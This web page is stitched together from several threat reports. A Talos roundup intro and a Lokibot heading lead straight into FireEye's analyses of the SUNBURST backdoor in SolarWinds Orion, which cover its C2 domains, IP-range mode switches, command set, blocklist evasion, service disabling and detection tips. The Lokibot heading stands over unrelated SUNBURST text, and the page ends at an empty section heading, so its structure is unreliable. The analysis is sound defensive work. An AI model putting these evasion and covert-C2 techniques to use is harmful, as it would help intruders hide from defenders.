# Threat Roundup for January 8 to January 15

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between January 8 and January 15. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

Reference

20210115-tru.json – this is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

# A Deep Dive into Lokibot Infection Chain

## News summary

• Lokibot is one of the most well-known information stealers on the malware landscape. In this post, we’ll provide a technical breakdown of one of the latest Lokibot campaigns.
• Talos also has a new script to unpack the dropper’s third stage.
• The actors behind Lokibot usually have the ability to steal multiple types of credentials and other sensitive information. This new campaign utilizes a complex, multi-stage, multi-layered dropper to execute Lokibot on the victim machine.

FireEye has discovered additional details about the SUNBURST backdoor since our initial publication on Dec. 13, 2020. Before diving into the technical depth of this malware, we recommend readers familiarize themselves with our blog post about the SolarWinds supply chain compromise, which revealed a global intrusion campaign by a sophisticated threat actor we are currently tracking as UNC2452.

SUNBURST is a trojanized version of a digitally signed SolarWinds Orion plugin called SolarWinds.Orion.Core.BusinessLayer.dll. The plugin contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, SUNBURST may retrieve and execute commands that instruct the backdoor to transfer files, execute files, profile the system, reboot the system, and disable system services. The malware's network traffic attempts to blend in with legitimate SolarWinds activity by imitating the Orion Improvement Program (OIP) protocol and persistent state data is stored within legitimate plugin configuration files. The backdoor uses multiple obfuscated blocklists to identify processes, services, and drivers associated with forensic and anti-virus tools.

In this post, the following topics are covered in greater detail:

• Anti-Analysis Environment Checks and Blocklists
• Domain Generation Algorithm and Variations
• Command and Control (C2) behaviors for DNS A and CNAME records
• Malware modes of operation

#### Anti-Analysis Environment Checks

Before reaching out to its C2 server, SUNBURST performs numerous checks to ensure no analysis tools are present. It checks process names, file write timestamps, and Active Directory (AD) domains before proceeding. We believe that these checks helped SUNBURST evade detection by anti-virus software and forensic investigators for seven months after its introduction to the SolarWinds Orion supply chain.

First, the backdoor verifies that the lowercase name of the current process is solarwinds.businesslayerhost. UNC2452 avoided including this string directly in the source code by computing a hash of the string and comparing the result to the 64-bit number 17291806236368054941. The hash value is calculated as a standard FNV-1A 64-bit hash with an additional XOR by the 64-bit number 6605813339339102567. The additional XOR operation forces malware analysts to develop custom tools to brute force the hash preimage.

Next, the backdoor only executes if the filesystem last write time of the .NET assembly SolarWinds.Orion.Core.BusinessLayer.dll is at least 12 to 14 days prior to the current time. The exact threshold is selected randomly from this interval. In other words, SUNBURST lays low for almost two weeks before raising its head. If the timestamp check fails, the backdoor will execute again at a random later time when it is invoked by a legitimate recurring background task. Once the threshold is met, the sample creates the named pipe 583da945-62af-10e8-4902-a8f205c72b2e to ensure only one instance of the backdoor is running. If the named pipe already exists, the malware exits.

SUNBURST stores its configuration in the legitimate SolarWinds.Orion.Core.BusinessLayer.dll.config file. It repurposes two existing settings in the appSettings section:  ReportWatcherRetry and ReportWatcherPostpone. During initialization, the backdoor determines if the ReportWatcherRetry setting is the value 3. This value indicates the malware has been deactivated and will no longer perform any network activity. As we describe later, UNC2452 can command the backdoor to disable itself. This feature may be utilized when the operator determines the victim is not of interest or that they’ve completed their mission. When investigating a system compromised by SUNBURST, review this setting to determine if the backdoor has been disabled. Note, the presence of this value does not offer proof the actor did not further compromise the environment before disabling SUNBURST.

The backdoor also determines if the system is joined to an Active Directory (AD) domain and, if so, retrieves the domain name. Execution ceases if the system is not joined to an AD domain. SUNBURST checks the AD domain name against a blocklist and halts execution if it contains one of the following values:

 swdev.local emea.sales pci.local apac.lab swdev.dmz cork.lab saas.swi dmz.local lab.local dev.local lab.rio lab.brno lab.na test solarwinds

We suspect these hard-coded AD domains may be SolarWinds internal domains that UNC2452 wanted to avoid.

Finally, SUNBURST verifies the system has internet connectivity by ensuring it can resolve the DNS name api.solarwinds.com. Otherwise, execution stops and retries at a random later time.

#### Anti-Analysis Blocklists

SUNBURST's behavior is affected by the presence of malware analysis and security software. To disguise the strings used to detect these security tools, UNC2452 calculated and embedded a hash value for each string. While it is trivial for the backdoor to check for the existence of a hashed process name, it is computationally expensive to determine what string a hash value corresponds to (the “preimage”). However, thanks to some hard work by members of the information security community, the hashes have been successfully brute-forced. The list of hashes and their corresponding strings can be viewed at this FireEye GitHub page.

SUNBURST uses the aforementioned FNV-1A plus XOR algorithm to compute the hash of each process name, service name, and driver filename on the system.

If a blocklisted process or driver name is found, SUNBURST pauses and tries again later. The backdoor continues past this check only when there are no processes nor drivers from the blocklist present.

If a blocklisted service is found, SUNBURST attempts to disable the blocklisted service by manipulating the service configuration in the Windows Registry. It sets the registry value HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start to the value 4, which corresponds to SERVICE_DISABLED. As a result, the blocklisted service is disabled on the next power cycle. This means the presence of a blocklisted service on a compromised host does not make a system immune to SUNBURST.

After the registry modification is made, SUNBURST updates the ReportWatcherPostpone configuration value to reflect the service it disabled. Then, the backdoor pauses and retries the process and service blocklist checks at a later time.

Subsequent service blocklist checks skip services already present in the ReportWatcherPostpone configuration key. SUNBURST will not treat the services it has disabled as members of the blocklist anymore. Therefore, during an incident response, forensic teams should consider recovering and decoding this configuration key to parse out which services SUNBURST attempted to disable.

#### Domain Generation Algorithm

In this section we describe how SUNBURST uses an intermediary command and control (C2) coordinator to retrieve its final C2 server. The C2 coordinator instructs the backdoor to continue or halt beaconing. It also redirects SUNBURST to its final C2 server via DNS CNAME records. We believe this enables UNC2452 to compartmentalize their operations, limiting the network infrastructure shared among victims.

The C2 coordinator is implemented as the authoritative DNS server for the avsvmcloud[.]com domain. To communicate with the C2 coordinator, SUNBURST uses a Domain Generation Algorithm (DGA) to construct subdomains of avsvmcloud[.]com and resolves the fully qualified domain names (FQDN) using the system DNS client. The backdoor interprets the DNS responses in an unusual way to receive orders from the C2 coordinator.

The DGA generates subdomains with the following DNS suffixes to create the FQDN:

• .appsync-api.eu-west-1[.]avsvmcloud[.]com
• .appsync-api.us-west-2[.]avsvmcloud[.]com
• .appsync-api.us-east-1[.]avsvmcloud[.]com
• .appsync-api.us-east-2[.]avsvmcloud[.]com

A method named Update is responsible for initializing cryptographic helpers for the generation of these random-looking C2 subdomains. Subdomains are generated by concatenating an encoded user ID with an encoding of the system's domain name. The C2 coordinator can recover the victim domain name from the encoded data and likely uses this to route SUNBURST to its final C2 server.

A user ID is generated based on three values:

• MAC address of the first available, non-loopback network interface
• Domain name
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid value

SUNBURST takes the MD5 hash of these combined values and encodes it using a custom XOR scheme. We believe this value is used by UNC2452 to track unique victims.

SUNBURST uses four different forms of subdomains to signify the operating mode of the backdoor. Each form contains slightly different information. However, in two of the forms, investigators can recover the domain names of victim organizations. We recommend reviewing DNS logs to confirm the presence of a victim’s domain in SUNBURST C2 coordinator traffic.

When SUNBURST is in its initial mode, it embeds the domain of the victim organization in its DGA-generated domain prefix. Once the malware transitions to an “active” mode, the malware uses the other two forms of subdomains. These do not include the AD domain, but instead include encodings of either the list of running and stopped services or a timestamp.

The open-source community has done a fantastic job reverse engineering many of the subdomain forms. While we are not aware of any public decoder scripts that reverse all four possible encodings, most decoders focus on recovering the most useful information: the user ID and domain name embedded in the subdomains. We recommend that incident responders for victim organizations with access to DNS logs use these tools to confirm their AD domains are not embedded within SUNBURST generated DNS subdomains. Note that this does not indicate follow-on activity.

The following sources may be referenced for decoding such domains:

Figure 1: Diagram of actor operations and usage of SUNBURST

#### Command and Control

SUNBURST uses a two-part C2 protocol that involves both DNS and HTTP. In “passive” mode, the backdoor communicates with its C2 coordinator via DNS and receives high-level updates to its state. For example, the C2 coordinator may tell the backdoor to go to sleep or spring into action. When the backdoor is in “active” mode, it communicates via HTTP to its final C2 server and receives detailed commands such as “spawn a process” or “transfer a file”.

#### DNS C2 and the C2 Coordinator Protocol

When communicating with the C2 coordinator, the backdoor continuously generates domains via its DGA. The backdoor delays execution for random intervals between generating domains. In some cases, this delay is up to 9 hours.

If the C2 coordinator responds with a DNS A record, SUNBURST checks the resolved address against a hard-coded list of IP address blocks. If the address falls within a block, the backdoor transitions into an associated mode. The backdoor starts in the “passive” mode where it does nothing but check blocklists, sleep, and beacon via DNS until a transition is seen. Other modes are “active”, in which the malware communicates via HTTP, and “disabled”, in which the malware is permanently disabled. These modes and transitions are defined in the Modes of Operation section.

The C2 coordinator may also respond with a DNS CNAME response. In this case, the malware uses the pointed-to domain from the CNAME response for HTTPS C2 communications. SUNBURST starts a thread to handle command execution and further C2 HTTP(S) callouts. As an investigator, if you see CNAME resolutions for subdomains of avsvmcloud[.]com, it‘s possible that UNC2452 initiated follow-on C2 within the environment.

Note, the malware must receive a DNS A record response pointing to one of the following subnets immediately prior to receiving a DNS CNAME response. Otherwise, the CNAME resolution will be ignored and treated as an error. In addition, for these subnets, the least-significant bytes from the A record IP address are parsed to obtain configuration data such as the proxy method to use, the URI scheme to use, and a delay value used in the HTTP thread.

 18.130.0.0/16 99.79.0.0/16 184.72.0.0/15

Subsequent DNS A record responses in the following subnet ranges cause the DGA beaconing to continue.

 8.18.144.0/23 18.130.0.0/16 71.152.53.0/24 99.79.0.0/16 87.238.80.0/21 199.201.117.0/24 184.72.0.0/15

Otherwise, subsequent DNS A record responses in the following subnet ranges cause SUNBURST to terminate and update the configuration key ReportWatcherRetry to a value that prevents further execution. This is the killswitch.

 10.0.0.0/8 fc00:: - fe00:: 96.31.172.0/24 172.16.0.0/12 fec0:: - ffc0:: 131.228.12.0/22 192.168.0.0/16 ff00:: - ff00:: 144.86.226.0/24 224.0.0.0/3 20.140.0.0/15

While in “active” mode, the DGA subdomain encoding does not include victim machine domain name information. Instead, the DGA subdomains encode a timestamp or the list of stopped/running services. To transition back to “passive” mode, the malware operator may set the DNS server to resolve A records within the following IP ranges:

 41.84.159.0/24 74.114.24.0/21 154.118.140.0/24 217.163.7.0/24

If the malware is transitioned from the “active” mode back to “passive”, the C2 coordinator must repeat the activation process if the operator wants to re-activate the sample.

#### HTTP(S) C2

After receiving a CNAME DNS response with a new host to communicate with, SUNBURST starts a new thread to execute the method HttpHelper.Initialize. This method is responsible for the C2 communications and dispatching. The HTTP thread begins by delaying for a configurable amount of time that is controlled by the SetTime command. The HTTP thread delays for a minimum of one minute between callouts. The malware uses HTTP GET or POST requests. The sample disables certificate verification so it is possible to decrypt HTTPS traffic if SSL man-in-the-middle is performed.

The malware constructs HTTP GET or POST request URIs from random selections of substrings. The scheme used depends on the A record received just prior to the CNAME DNS response. When sending a GET request, the malware adds an "If-None-Match" HTTP header that includes the encoded user ID. This likely allows the C2 server to determine which SUNBURST installation generated the request, further enabling multiplexing of C2 streams on a single server.

In observed traffic, the C2 server employs steganography to hide data within HTTP response bodies and attempts to appear as benign XML related to .NET assemblies. Command data is spread across many GUID and hexadecimal strings. Commands are extracted from HTTP response bodies by searching for hexadecimal strings using the following regular expression: "\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}". Matched substrings in the response are filtered for non-hex characters, joined together, and hex-decoded. Depending on the mode of operation, the malware may skip the steganography and send the encoded response in an HTTP response body.

Figure 2: C2 response embeds commands in XML GUIDs

In the received C2 response, the first DWORD value indicates the actual size of the message. This value is followed immediately by the message with optional junk bytes added. The extracted message is single-byte XOR decoded using the first byte of the message. The result is then DEFLATE decompressed. The first character of the decompressed data is an ASCII integer that maps to a command ID, with optional additional command arguments delimited by space characters. The supported commands are shown in the following table.

 Command ID Operation Idle 0 No operation Exit 1 Terminate the current thread. SetTime 2 Sets the delay time between main event loop executions Delay is in seconds, and varies random between [.9 * , 1.1 * ]  If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes  o There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs] CollectSystemDescription 3 Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information. UploadSystemDescription 4 Perform an HTTP request to the specified URL, parse the results and send the response to the C2 server. RunTask 5 Starts a new process with the given file path and arguments GetProcessByDescription 6 Returns a process listing. If no arguments are provided, returns just the PID and process name.  If an argument is provided, it also returns the parent PID and username and domain for the process owner. KillTask 7 Terminate the given process, by PID. GetFileSystemEntries 8 Given a path, and a match pattern recursively list files and directories. WriteFile 9 Given a file path and a Base64-encoded string write the contents of the Base64 string to the given file path. Write using append mode. Delay for [1s, 2s] after writing is done. FileExists 10 Tests whether the given file path exists. DeleteFile 11 Deletes the specified file path. GetFileHash 12 Compute the MD5 of a file at a given path and return the result as a hex string. If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs. ReadRegistryValue 13 Arbitrary registry read from one of the supported hives. SetRegistryValue 14 Arbitrary registry write from one of the supported hives. DeleteRegistryValue 15 Arbitrary registry delete from one of the supported hives. GetRegistrySubKeyAndValueNames 16 Returns listing of subkeys and value names beneath the given registry path. Reboot 17 Attempts to immediately trigger a system reboot.

SUNBURST sends messages back to the C2 server using a protocol that consists of UTF-8 strings and an appended 4-byte error DWORD and 8-byte userID. These are bare DEFLATE compressed and single-byte XOR encoded with the XOR key prepended to the message. Message payloads of length 10,000 or less are turned into JSON documents that resemble the Orion Improvement Program (OIP) messages used legitimately by SolarWinds. Messages larger than 10,000 bytes are sent as-is in the HTTP request body.

The fake OIP document contains the following fields:

• userId – a unique identifier for the victim machine
• sessionID – stores a new random GUID for each HTTP thread
• steps – an array of objects that contain the following keys: Timestamp, Index, EventType, EventName, DurationMs, Succeeded, and Message.

The JSON key EventType is hard-coded to the value Orion and the EventName is hard-coded to EventManager. The encoded message to send to the C2 server is split up into random ranges, Base64-encoded, and stored in the Message field of the objects in the steps array. Not all objects in the steps array contribute to the malware response. The integer in the Timestamp field must have the 0x2 bit set to indicate the contents of the Message field are used in the malware response. steps objects whose 0x2 bit is clear in the Timestamp field contain random data and are discarded when assembling the malware response. This may be an attempt to hinder analysis in the absence of the malware sample.

Figure 3: HTTP callout masquerades as OIP protocol

#### Modes of Operation

As detailed in the DGA section, the malware has multiple modes of operation configured by the IP block that A records resolve to as well as depending on if CNAME records exist. These modes of operation are stored in internal enumerations. These mappings and values are described next.

##### Internal Modes

The following modes govern internal operations of the malware:

 Mode Name Value Description Truncate 3 Disabled; the malware killswitch has been activated and the sample may never run again without external modification to the XML configuration on-disk. New 4 Passive mode; DGA subdomains encode the system’s domain name Append 5 Active mode; C2 beaconing will occur on next CNAME resolve or is already actively occurring. DGA domains encode either the userID or the list of services

The mode values are written into the backdoor configuration key ReportWatcherRetry. Investigators may consider recovering the malware configuration and inspecting this configuration value to determine the last running mode of the malware.

The following transitions govern how IP block ranges are translated into running modes:

 Transition Name Description Atm Transition to Truncate Ipx Transition from Append to New ImpLink Transition to Truncate NetBios Transition to Append, either start or continue C2 beaconing Unknown Not an IPv4 or IPv6 address, exit and retry DGA later

The following diagram describes how the SUNBURST’s DGA DNS responses act as mode transitions to control the malware before HTTP-based C2 beaconing has even begun:

Additionally, here is an annotated network log showing how a sequence of DNS resolutions can transition the malware mode:

To end this discussion of modes and transitions, a small note about the choices of these IP blocks. In cases such as the ImpLink IP blocks that activate the killswitch, it’s likely that the ranges were specifically chosen by the attacker to avoid being discovered by security researchers. In other cases, such as the NetBios and "special" NetBios IP blocks, the companies these blocks resolve to is likely irrelevant or at least beyond what can be definitively said without speculation.

#### Malware Flow Diagram

The following diagram provides a full picture of the malware's execution. Internally, SUNBURST uses a set of modes and transitions as described earlier. The names of these modes and transitions have no meaning. The malware authors purposely chose them as a form of obfuscation. When diagraming the malware's execution, these names were reused for clarity.

Figure 4: Malware logic and decision states

#### Q&A

Is a system running blocklisted processes, services, or drivers safe from compromise?

Sometimes, but not always. SUNBURST unconditionally exits if blocklisted processes or drivers are found and will not run until they are no longer detected. On the other hand, services are disabled by setting a registry value that controls startup initialization and are not explicitly stopped. As a result, a blocklisted service may still be running when the malware performs its service checks later. For this reason, it is possible for a victim system to be infected while a blocklisted service is running. Additionally, SUNBURST only attempts to disable a service once and updates its configuration to mark the service as disabled. Once the configuration is updated, the service is not treated as a blocklisted entry during subsequent execution.

Does observing one DGA encoding over another provide any information during incident response?

Short answer: it provides a hint for where to look but isn’t a be-all tell-all alone. Noticing the DGA encoding change in network logs is a hint that the malware may have moved from New to Append or Append to New. This puts the malware in a mode where if a CNAME record is seen soon after, then HTTP C2 can begin. Incident response should focus on trying to identify CNAME records being successfully resolved instead of focusing on DGA encodings entirely. Identifying CNAME records is easier than tracking the malware mode through logs and a stronger signal.

What is the "killswitch"?

FireEye discovered that certain DNS responses cause the malware to disable itself and stop further network activity. With the support and help of GoDaddy’s Abuse Team and the Microsoft Threat Intelligence Center, the domain used for resolving DGA domains was reconfigured to point to a sinkhole server under Microsoft’s control. The IP of this sinkhole server was specially chosen to fall into the range used by the malware to transition from its current mode (New or Append) into Truncate mode where it will be permanently inactive. In other words, SUNBURST infections should now be inoculated due to the killswitch.

When C2 communication occurs, is a CNAME record required?

CNAME records are required for HTTP C2 beaconing to occur and are provided by the C2 coordinator to specify the final C2 server. C2 activity must occur over a domain name provided via a CNAME record. It cannot occur directly via a raw IP. To initialize C2 beaconing, the backdoor first looks for an A record response from one of its special NetBios subnets and subsequently expects to receive a CNAME record.

If a DGA domain is decoded to a company domain name, is that company compromised?

When the backdoor is in “passive” mode it uses the DGA encoding which embeds victim AD domain names. This means that any system where the backdoor is present may have started trying to contact DNS servers where an attacker could then activate the backdoor to begin active C2 communications. In most cases this did not occur and backdoors for non-targets were disabled by the operator. Therefore, it cannot be assumed that an organization experienced follow-on activity if their domain is decoded from any DNS logs. Specifically, it’s only an indicator that the backdoor code was present and capable of being activated.

#### Public Contributions

We have seen substantial community contributions to our public SUNBURST GitHub repository.

We would like to publicly thank all contributors to this repository. Specifically, all FNV hashes embedded within SUNBURST have been brute-forced. This is a huge amount of compute power that members of the community provided free-of-charge to help others. We want to thank everyone who contributed hashes and specifically callout the Hashcat community, which organized to systematically break each hash. This was essential for breaking the final few hashes whose preimage were of considerable length.

#### Acknowledgements

Matthew Williams, Michael Sikorski, Alex Berry and Robert Wallace.

For additional information on UNC2452, register for our webinar, UNC2452: What We Know So Far, on Tuesday, Jan. 12, at 8 a.m. PT/11 a.m. ET.

# Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor

#### Executive Summary

• We have discovered a global intrusion campaign. We are tracking the actors behind this campaign as UNC2452.
• FireEye discovered a supply chain attack trojanizing SolarWinds Orion business software updates in order to distribute malware we call SUNBURST.
• The attacker’s post compromise activity leverages multiple techniques to evade detection and obscure their activity, but these efforts also offer some opportunities for detection.
• The campaign is widespread, affecting public and private organizations around the world.
• FireEye is releasing signatures to detect this threat actor and supply chain attack in the wild. These are found on our public GitHub page. FireEye products and services can help customers detect and block this attack.

#### Summary

FireEye has uncovered a widespread campaign, that we are tracking as UNC2452. The actors behind this campaign gained access to numerous public and private organizations around the world. They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software. This campaign may have begun as early as Spring 2020 and is currently ongoing. Post compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security.

#### SUNBURST Backdoor

SolarWinds.Orion.Core.BusinessLayer.dll is a SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. We are tracking the trojanized version of this SolarWinds Orion plug-in as SUNBURST.

After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The malware masquerades its network traffic as the Orion Improvement Program (OIP) protocol and stores reconnaissance results within legitimate plugin configuration files allowing it to blend in with legitimate SolarWinds activity. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers.

Figure 1: SolarWinds digital signature on software with backdoor

Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website, including:

The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized SolarWinds.Orion.Core.BusinessLayer.dll component. Once the update is installed, the malicious DLL will be loaded by the legitimate SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe (depending on system configuration). After a dormant period of up to two weeks, the malware will attempt to resolve a subdomain of avsvmcloud[.]com. The DNS response will return a CNAME record that points to a Command and Control (C2) domain. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications. The list of known malicious infrastructure is available on FireEye’s GitHub page.

#### Worldwide Victims Across Multiple Verticals

FireEye has detected this activity at multiple entities worldwide. The victims have included government, consulting, technology, telecom and extractive entities in North America, Europe, Asia and the Middle East. We anticipate there are additional victims in other countries and verticals. FireEye has notified all entities we are aware of being affected.

#### Post Compromise Activity and Detection Opportunities

We are currently tracking the software supply chain compromise and related post intrusion activity as UNC2452. After gaining initial access, this group uses a variety of techniques to disguise their operations while they move laterally (Figure 2). This actor prefers to maintain a light malware footprint, instead preferring legitimate credentials and remote access for access into a victim’s environment.

Figure 2: Post-compromise tactics

This section will detail the notable techniques and outline potential opportunities for detection.

TEARDROP and BEACON Malware Used

Multiple SUNBURST samples have been recovered, delivering different payloads. In at least one instance the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON.

TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON.

Mitigation: FireEye has provided two Yara rules to detect TEARDROP available on our GitHub. Defenders should look for the following alerts from FireEye HX: MalwareGuard and WindowsDefender:

Process Information

file_operation_closed
file-path*: “c:\\windows\\syswow64\\netsetupsvc.dll
actor-process:
pid: 17900

Window’s defender Exploit Guard log entries: (Microsoft-Windows-Security-Mitigations/KernelMode event ID 12)

Process”\Device\HarddiskVolume2\Windows\System32\svchost.exe” (PID XXXXX) would have been blocked from loading the non-Microsoft-signed binary
‘\Windows\SysWOW64\NetSetupSvc.dll’

Attacker Hostnames Match Victim Environment

The actor sets the hostnames on their command and control infrastructure to match a legitimate hostname found within the victim’s environment. This allows the adversary to blend into the environment, avoid suspicion, and evade detection.

Detection Opportunity

The attacker infrastructure leaks its configured hostname in RDP SSL certificates, which is identifiable in internet-wide scan data. This presents a detection opportunity for defenders -- querying internet-wide scan data sources for an organization’s hostnames can uncover malicious IP addresses that may be masquerading as the organization. (Note: IP Scan history often shows IPs switching between default (WIN-*) hostnames and victim’s hostnames) Cross-referencing the list of IPs identified in internet scan data with remote access logs may identify evidence of this actor in an environment. There is likely to be a single account per IP address.

IP Addresses located in Victim’s Country

The attacker’s choice of IP addresses was also optimized to evade detection. The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers.

Detection Opportunity

This also presents some detection opportunities, as geolocating IP addresses used for remote access may show an impossible rate of travel if a compromised account is being used by the legitimate user and the attacker from disparate IP addresses. The attacker used multiple IP addresses per VPS provider, so once a malicious login from an unusual ASN is identified, looking at all logins from that ASN can help detect additional malicious activity. This can be done alongside baselining and normalization of ASN’s used for legitimate remote access to help identify suspicious activity.

Lateral Movement Using Different Credentials

Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials. The credentials used for lateral movement were always different from those used for remote access.

Detection Opportunity

Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. This will uncover any single system authenticating to multiple systems with multiple accounts, a relatively uncommon occurrence during normal business operations.

Temporary File Replacement and Temporary Task Modification

The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file. They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration. They routinely removed their tools, including removing backdoors once legitimate remote access was achieved.

Detection Opportunity

Defenders can examine logs for SMB sessions that show access to legitimate directories and follow a delete-create-execute-delete-create pattern in a short amount of time. Additionally, defenders can monitor existing scheduled tasks for temporary updates, using frequency analysis to identify anomalous modification of tasks. Tasks can also be monitored to watch for legitimate Windows tasks executing new or unknown binaries.

This campaign’s post compromise activity was conducted with a high regard for operational security, in many cases leveraging dedicated infrastructure per intrusion. This is some of the best operational security that FireEye has observed in a cyber attack, focusing on evasion and leveraging inherent trust. However, it can be detected through persistent defense.

#### In-Depth Malware Analysis

SolarWinds.Orion.Core.BusinessLayer.dll (b91ce2fa41029f6955bff20079468448) is a SolarWinds-signed plugin component of the Orion software framework that contains an obfuscated backdoor which communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services. The backdoor’s behavior and network protocol blend in with legitimate SolarWinds activity, such as by masquerading as the Orion Improvement Program (OIP) protocol and storing reconnaissance results within plugin configuration files. The backdoor uses multiple blocklists to identify forensic and anti-virus tools via processes, services, and drivers.

#### Unique Capabilities

• Subdomain DomainName Generation Algorithm (DGA) is performed to vary DNS requests
• CNAME responses point to the C2 domain for the malware to connect to
• The IP block of A record responses controls malware behavior
• DGA encoded machine domain name, used to selectively target victims
• Command and control traffic masquerades as the legitimate Orion Improvement Program
• Code hides in plain site by using fake variable names and tying into legitimate components

#### Delivery and Installation

Authorized system administrators fetch and install updates to SolarWinds Orion via packages distributed by SolarWinds’s website. The update package CORE-2019.4.5220.20574-SolarWinds-Core-v2019.4.5220-Hotfix5.msp (02af7cec58b9a5da1c542b5a32151ba1) contains the SolarWinds.Orion.Core.BusinessLayer.dll described in this report. After installation, the Orion software framework executes the .NET program SolarWinds.BusinessLayerHost.exe to load plugins, including SolarWinds.Orion.Core.BusinessLayer.dll. This plugin contains many legitimate namespaces, classes, and routines that implement functionality within the Orion framework. Hidden in plain sight, the class SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer implements an HTTP-based backdoor. Code within the logically unrelated routine SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager.RefreshInternal invokes the backdoor code when the Inventory Manager plugin is loaded.

SolarWinds.Orion.Core.BusinessLayer.dll is signed by SolarWinds, using the certificate with serial number 0f:e9:73:75:20:22:a6:06:ad:f2:a3:6e:34:5d:c0:ed. The file was signed on March 24, 2020.

Initialization

On execution of the malicious SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer.Initialize method the sample verifies that its lower case process name hashes to the value 17291806236368054941. This hash value is calculated as the standard FNV-1A 64-bit hash with an additional XOR by 6605813339339102567 after computing the FNV-1A. This hash matches a process named "solarwinds.businesslayerhost".

The sample only executes if the filesystem write time of the assembly is at least 12 to 14 days prior to the current time; the exact threshold is selected randomly from an interval. The sample continues to check this time threshold as it is run by a legitimate recurring background task. Once the threshold is met, the sample creates the named pipe 583da945-62af-10e8-4902-a8f205c72b2e to act as a guard that only one instance is running before reading SolarWinds.Orion.Core.BusinessLayer.dll.config from disk and retrieving the XML field appSettings. The appSettings fields’ keys are legitimate values that the malicious logic re-purposes as a persistent configuration. The key ReportWatcherRetry must be any value other than 3 for the sample to continue execution.

The sample checks that the machine is domain joined and retrieves the domain name before execution continues. A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid. The userID is encoded via a custom XOR scheme after the MD5 is calculated. The ReportWatcherPostpone key of appSettings is then read from SolarWinds.Orion.Core.BusinessLayer.dll.config to retrieve the initial, legitimate value. This operation is performed as the sample later bit packs flags into this field and the initial value must be known in order to read out the bit flags. The sample then invokes the method Update which is the core event loop of the sample.

#### DGA and Blocklists

The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name. The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware. These subdomains are concatenated with one of the following to create the hostname to resolve:

• .appsync-api.eu-west-1[.]avsvmcloud[.]com
• .appsync-api.us-west-2[.]avsvmcloud[.]com
• .appsync-api.us-east-1[.]avsvmcloud[.]com
• .appsync-api.us-east-2[.]avsvmcloud[.]com

Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Blocklisted services are stopped by setting their HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. If any service was transitioned to disabled the Update method exits and retries later. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver. If any blocklisted driver is seen the Update method exits and retries. If all blocklist tests pass, the sample tries to resolve api.solarwinds.com to test the network for connectivity.

#### Network Command and Control (C2)

